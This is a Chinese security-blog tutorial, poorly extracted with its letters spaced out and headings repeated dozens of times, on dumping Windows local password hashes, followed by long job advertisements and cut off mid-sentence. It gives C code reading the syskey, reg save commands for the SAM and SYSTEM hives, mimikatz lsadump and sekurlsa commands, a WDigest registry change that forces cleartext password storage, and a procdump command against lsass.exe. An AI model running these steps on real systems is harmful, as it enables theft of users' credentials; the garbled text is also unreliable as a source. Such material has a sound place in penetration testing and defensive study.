搜索

[6147] 2019-09-08_内地转储-获取本地hash

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2019-09-08_内地转储-获取本地hash 内 地 转 储 - 获 取 本 地 h a s h l 1 n k 3 r   E 安 全   2 0 1 9 - 0 9 - 0 8 N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 原 理 分 析 W i n d o w s 的 对 每 个 用 户 生 成 密 码 的 h a s h 值 ， 数 据 存 储 在 注 册 表 的 H K L M S A M 中 。 密 钥 存 储 在 H K L M S Y S T E M 中 。 从 从 S A M 数 据 库 中 获 取 密 码 数 据 库 中 获 取 密 码 h a s h ， 需 要 ， 需 要 S Y S T E M 中 的 中 的 s y s k e y 。 。 1 . 读 取 H K L M S Y S T E M 中 的 s y s k e y s y s k e y 由 目 录 H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a ` H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a ` 下 J D 、 S k e w 1 、 G B G 和 D a t a 等 键 值 中 的 内 容 拼 接 而 成 获 取 代 码 如 下 ：
i n t   C R Y P T _ S y s k e y G e t V a l u e ( s _ S Y S K E Y   * p S y s k e y )   {         D W O R D   d w S e c u r e B o o t = 0 ;         B Y T E   s y s k e y [ 1 6 ] ;         B Y T E   s y s k e y P e r m [ 1 6 ] = { 0 x 8 , 0 x 5 , 0 x 4 , 0 x 2 , 0 x b , 0 x 9 , 0 x d , 0 x 3 , 0 x 0 , 0 x 6 , 0 x 1 , 0 x c , 0 x e , 0 x a , 0 x f , 0 x 7 } ;         i n t   i ;         i f ( ! R e g G e t V a l u e E x ( H K E Y _ L O C A L _ M A C H I N E , " S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a " , " S e c u r e B o o t " , N U L L , & d w S e c u r e B o o t , s i z e o f ( d w S e c u r e B o o t ) , N U L L ) )                 r e t u r n   S Y S K E Y _ R E G I S T R Y _ E R R O R ;         i f ( d w S e c u r e B o o t   ! =   1 )                 r e t u r n   S Y S K E Y _ M E T H O D _ N O T _ I M P L ;         i f ( ! S y s k e y G e t C l a s s B y t e s ( H K E Y _ L O C A L _ M A C H I N E , " S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a " , " J D " , s y s k e y ) )                 r e t u r n   S Y S K E Y _ R E G I S T R Y _ E R R O R ;         i f ( ! S y s k e y G e t C l a s s B y t e s ( H K E Y _ L O C A L _ M A C H I N E , " S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a " , " S k e w 1 " , s y s k e y + 4 ) )                 r e t u r n   S Y S K E Y _ R E G I S T R Y _ E R R O R ;         i f ( ! S y s k e y G e t C l a s s B y t e s ( H K E Y _ L O C A L _ M A C H I N E , " S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a " , " G B G " , s y s k e y + 8 ) )                 r e t u r n   S Y S K E Y _ R E G I S T R Y _ E R R O R ;         i f ( ! S y s k e y G e t C l a s s B y t e s ( H K E Y _ L O C A L _ M A C H I N E , " S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a " , " D a t a " , s y s k e y + 1 2 ) )                 r e t u r n   S Y S K E Y _ R E G I S T R Y _ E R R O R ;         f o r ( i = 0 ; i < 1 6 ; i + + )                 p S y s k e y - > k e y [ i ]   =   s y s k e y [ s y s k e y P e r m [ i ] ] ;         r e t u r n   S Y S K E Y _ S U C C E S S ; 2 . 使 用 s y s k e y 解 密 H K L M S A M 获 得 H K E Y _ L O C A L _ M A C H I N E S A M S A M D o m a i n s A c c o u n t U s e r s 中 每 个 用 户 的 F 和 V 的 键 值 内 容 ， 使 用 s y s k e y 进 行 解 密 N o . 3 N o . 3 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库 离 线 读 取 离 线 读 取 s a m 数 据 库 数 据 库
1 .   导 出 数 据 库 方 法 一 （ 注 册 表 ） ： r e g   s a v e   H K L M S Y S T E M   c : u s e r s u s e r d e s k t o p S Y S T E M r e g   s a v e   H K L M S A M   c : u s e r s u s e r d e s k t o p S A M 方 法 二 （ 复 制 文 件 ） ： 存 放 路 径 C : W i n d o w s S y s t e m 3 2 c o n f i g S Y S T E M C : W i n d o w s S y s t e m 3 2 c o n f i g S A M 因 为 正 常 内 存 中 可 能 无 法 被 打 开 2 .   使 用 m i m i k a t z 导 出 用 户 h a s h l s a d u m p : : s a m   / s a m : s a m   / s y s t e m : s y s t e m N o . 4 N o . 4 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 目 标 机 器 直 接 读 取 根 据 目 标 相 应 位 数 传 入 m i m i ， 管 理 员 权 限 启 动 m i m i k a t z p r i v i l e g e : : d e b u g t o k e n : : e l e v a t e l s a d u m p : : s a m
N o . 5 N o . 5 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 使 用 使 用 p r o c d u m p . e x e 进 行 内 存 转 储 进 行 内 存 转 储 作 用 ：         微 软 维 护 工 具 ， 主 要 使 用 它 来 进 行 内 存 转 储 。 W i n d o w s 在 运 行 的 时 候 不 能 复 制 S Y S T E M 和 S A M 文 件 。         该 方 法 只 能 在 W i n d o w   2 0 0 3 、 W i n d o w s   2 0 0 8 、 W i n d o w s   2 0 0 8   R 2 ， 且 没 有 打 补 丁 （ K B 2 8 7 1 9 9 7 ） 的 情 况 下 可 以 获 取 该 系 统 在 未 清 理 内 存 （ 意 为 未 重 启 ） 时 存 储 的 登 录 信 息 凭 证 。   W i n d o w s   2 0 1 2 及 以 上 版 本 需 要 开 启 注 册 表 记 录 明 文 密 码 ， 方 可 转 储 。 方 法 ： H K L M : S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t 的 " U s e L o g o n C r e d e n t i a l " 设 置 为 1 ， 型 为 D W O R D   3 2 c m d 修 改 ： r e g   a d d   H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v   U s e L o g o n C r e d e n t i a l   / t   R E G _ D W O R D   / d   1 p o w e r s h e l l 修 改 ： P S   C : >   N e w - I t e m P r o p e r t y   - P a t h   H K L M : S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   - N a m e   U s e L o g o n C r e d e n t i a l   - T y p e   D W O R D   - V a l u e   1 p r o c d u m p 语 法 ： p r o c d u m p . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e   c : w i n d o w s t a p i a . d m p N o . 6 N o . 6 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储 图 形 界 面 转 储
需 要 a d m i n i s t r a t o r 权 限 ， 右 键 创 建 转 储 ， 在 % t e m p %   目 录 下 出 现 l s a s s . d m p 文 件 拉 回 来 ， 用 m i m i k a t z 解 N o . 7 N o . 7 M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s M I M I K A T Z - S E K U R L S A : : L o g o n P a s s w o r d s 语 法 ： p r i v i l e g e : d e b u g           #   设 置 权 限 s e k u r l s a : : m i n i d u m p   l s a s s . d m p         #   选 择 要 读 出 的 内 存 文 件 s e k u r l s a : l o g o n p a s s w o r d s     #   获 取 密 码
N o . 8 N o . 8 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 后 记 其 实 获 取 本 地 h a s h 还 有 很 多 工 具 可 以 利 用 ， 这 边 分 享 的 是 比 较 通 用 的 方 法 。 N o . 9 N o . 9 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 安 全 招 聘 — — — — — — — — 公 司 ： 安 恒 信 息 岗 位 ： W e b 安 全   安 全 研 究 员 部 门 ： 安 服 战 略 支 援 部 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 1 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） ， 广 州 岗 位 剩 余 编 制 ： 3 人 工 作 环 境 ： 一 座 大 厦 ， 健 身 场 所 ， 医 师 ， 帅 哥 ， 美 女 ， 高 级 食 堂 … 【 岗 位 职 责 】 1 . 定 期 面 向 部 门 、 全 公 司 技 术 分 享 ; 2 . 前 沿 攻 防 技 术 研 究 、 跟 踪 国 内 外 安 全 领 域 的 安 全 动 态 、 漏 洞 披 露 并 落 地 沉 淀 ； 3 . 负 责 完 成 部 门 渗 透 测 试 、 红 蓝 对 抗 业 务 ; 4 . 负 责 自 动 化 平 台 建 设 5 . 负 责 针 对 常 见 W A F 产 品 规 则 进 行 测 试 并 落 地 b y p a s s 方 案 【 岗 位 要 求 】
1 . 至 少 1 年 安 全 领 域 工 作 经 验 ； 2 . 熟 悉 H T T P 协 议 相 关 技 术 3 . 拥 有 大 型 产 品 、 C M S 、 厂 商 漏 洞 挖 掘 案 例 ； 4 . 熟 练 掌 握 p h p 、 j a v a 、 a s p . n e t 代 码 审 计 基 础 （ 一 种 或 多 种 ） 5 . 精 通 W e b   F u z z 模 糊 测 试 漏 洞 挖 掘 技 术 6 . 精 通 O W A S P   T O P   1 0 安 全 漏 洞 原 理 并 熟 悉 漏 洞 利 用 方 法 7 . 有 过 独 立 分 析 漏 洞 的 经 验 ， 熟 悉 各 种 W e b 调 试 技 巧 8 . 熟 悉 常 见 编 程 语 言 中 的 至 少 一 种 （ A s p . n e t 、 P y t h o n 、 p h p 、 j a v a ） 【 加 分 项 】 1 . 具 备 良 好 的 英 语 文 档 阅 读 能 力 ； 2 . 曾 参 加 过 技 术 沙 龙 担 任 嘉 宾 进 行 技 术 分 享 ； 3 . 具 有 C I S S P 、 C I S A 、 C S S L P 、 I S O 2 7 0 0 1 、 I T I L 、 P M P 、 C O B I T 、 S e c u r i t y + 、 C I S P 、 O S C P 等 安 全 相 关 资 质 者 ； 4 . 具 有 大 型 S R C 漏 洞 提 交 经 验 、 获 得 年 度 表 彰 、 大 型 C T F 夺 得 名 次 者 ； 5 . 开 发 过 安 全 相 关 的 开 源 项 目 ； 6 . 具 备 良 好 的 人 际 沟 通 、 协 调 能 力 、 分 析 和 解 决 问 题 的 能 力 者 优 先 ； 7 . 个 人 技 术 博 客 ； 8 . 在 优 质 社 区 投 稿 过 文 章 ； 岗 位 ： 安 全 红 队 武 器 自 动 化 攻 城 狮 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 2 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） 【 岗 位 职 责 】 1 . 负 责 红 蓝 对 抗 中 的 武 器 化 落 地 与 研 究 ； 2 . 平 台 化 建 设 ； 3 . 安 全 研 究 落 地 。 【 岗 位 要 求 】 1 . 熟 练 使 用 P y t h o n 、 j a v a 等 至 少 一 门 语 言 作 为 主 要 开 发 语 言 ； 2 . 熟 练 使 用 D j a n g o 、 f l a s k   等 常 用 w e b 开 发 框 架 、 以 及 熟 练 使 用 m y s q l 、 m o n g o D B 、 r e d i s 等 数 据 存 储 方 案 ； 3 . 熟 悉 O W A S P   T O P   1 0 常 见 W E B 安 全 漏 洞 原 理 ； 4 . 对 安 全 技 术 有 浓 厚 的 兴 趣 及 热 情 ， 有 主 观 研 究 和 学 习 的 动 力 ； 5 . 具 备 正 向 价 值 观 、 良 好 的 团 队 协 作 能 力 和 较 强 的 问 题 解 决 能 力 ， 善 于 沟 通 、 乐 于 分 享 。 【 加 分 项 】 1 . 有 高 并 发 t c p 服 务 、 分 布 式 等 相 关 经 验 者 优 先 ； 2 . 在 g i t h u b 上 有 开 源 安 全 产 品 优 先 ； 3 . 在 f r e e b u f 、 安 全 客 、 先 知 等 安 全 平 台 分 享 过 相 关 技 术 文 章 优 先 ；
3 . 在 f r e e b u f 、 安 全 客 、 先 知 等 安 全 平 台 分 享 过 相 关 技 术 文 章 优 先 ； 4 . 在 互 联 网 企 业 有 相 关 安 全 产 品 开 发 经 验 优 先 ； 5 . 具 备 良 好 的 英 语 文 档 阅 读 能 力 。 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n P S ： 邮 件 主 题 中 请 注 明 工 作 意 向 城 市 ， 岗 位 要 求 可 通 过 加 分 项 弥 补 设 计 师 — — — — — — — — 【 职 位 描 述 】 负 责 设 计 公 司 日 常 宣 传 图 片 、 软 文 等 与 设 计 相 关 工 作 ， 负 责 产 品 品 牌 设 计 。 【 职 位 要 求 】 1 、 从 事 平 面 设 计 相 关 工 作 1 年 以 上 ， 熟 悉 印 刷 工 艺 ； 具 有 敏 锐 的 观 察 力 及 审 美 能 力 ， 及 优 异 的 创 意 设 计 能 力 ； 有   V I   设 计 、 广 告 设 计 、 画 册 设 计 等 专 长 ； 2 、 有 良 好 的 美 术 功 底 ， 审 美 能 力 和 创 意 ， 色 彩 感 强 ； 精 通 p h o t o s h o p / i l l u s t r a t o r / c o r e l d r e w / 等 设 计 制 作 软 件 ； 3 、 有 品 牌 传 播 、 产 品 设 计 或 新 媒 体 视 觉 工 作 经 历 ； 【 关 于 岗 位 的 其 他 信 息 】 企 业 名 称 ： 杭 州 安 恒 信 息 技 术 股 份 有 限 公 司 办 公 地 点 ： 杭 州 市 滨 江 区 安 恒 大 厦 1 9 楼 学 历 要 求 ： 本 科 及 以 上 工 作 年 限 ： 1 年 及 以 上 ， 条 件 优 秀 者 可 放 宽 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n
安 恒 雷 神 众 测 S R C 运 营 （ 实 习 生 ） — — — — — — — — 【 职 责 描 述 】 1 .     负 责 S R C 的 微 博 、 微 信 公 众 号 等 线 上 新 媒 体 的 运 营 工 作 ， 保 持 用 户 活 跃 度 ， 提 高 站 点 访 问 量 ； 2 .     负 责 白 帽 子 提 交 漏 洞 的 漏 洞 审 核 、 R a n k 评 级 、 漏 洞 修 复 处 理 等 相 关 沟 通 工 作 ， 促 进 审 核 人 员 与 白 帽 子 之 间 友 好 协 作 沟 通 ； 3 .     参 与 策 划 、 组 织 和 落 实 针 对 白 帽 子 的 线 下 活 动 ， 如 沙 龙 、 发 布 会 、 技 术 交 流 论 坛 等 ； 4 .     积 极 参 与 雷 神 众 测 的 品 牌 推 广 工 作 ， 协 助 技 术 人 员 输 出 优 质 的 技 术 文 章 ； 5 .     积 极 参 与 公 司 媒 体 、 行 业 内 相 关 媒 体 及 其 他 市 场 资 源 的 工 作 沟 通 工 作 。 【 任 职 要 求 】     1 .     责 任 心 强 ， 性 格 活 泼 ， 具 备 良 好 的 人 际 交 往 能 力 ；   2 .     对 网 络 安 全 感 兴 趣 ， 对 行 业 有 基 本 了 解 ；   3 .     良 好 的 文 案 写 作 能 力 和 活 动 组 织 协 调 能 力 。 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n w e b 安 全 资 深 研 究 员 — — — — — — — — 工 作 职 责 ： 1 、 跟 踪 最 新 安 全 技 术 动 态 ， 对 高 危 安 全 漏 洞 进 行 快 速 分 析 和 响 应 ； 2 、 负 责 安 全 产 品 的 线 下 、 线 上 功 能 及 流 程 的 验 收 测 试 ， 保 证 项 目 进 度 和 品 质 ； 3 、 从 事 影 响 比 较 大 的 漏 洞 挖 掘 工 作 。 任 职 资 格 ： 1 、 深 入 了 解 漏 洞 原 理 ， 能 够 独 立 挖 掘 / 分 析 包 括 但 不 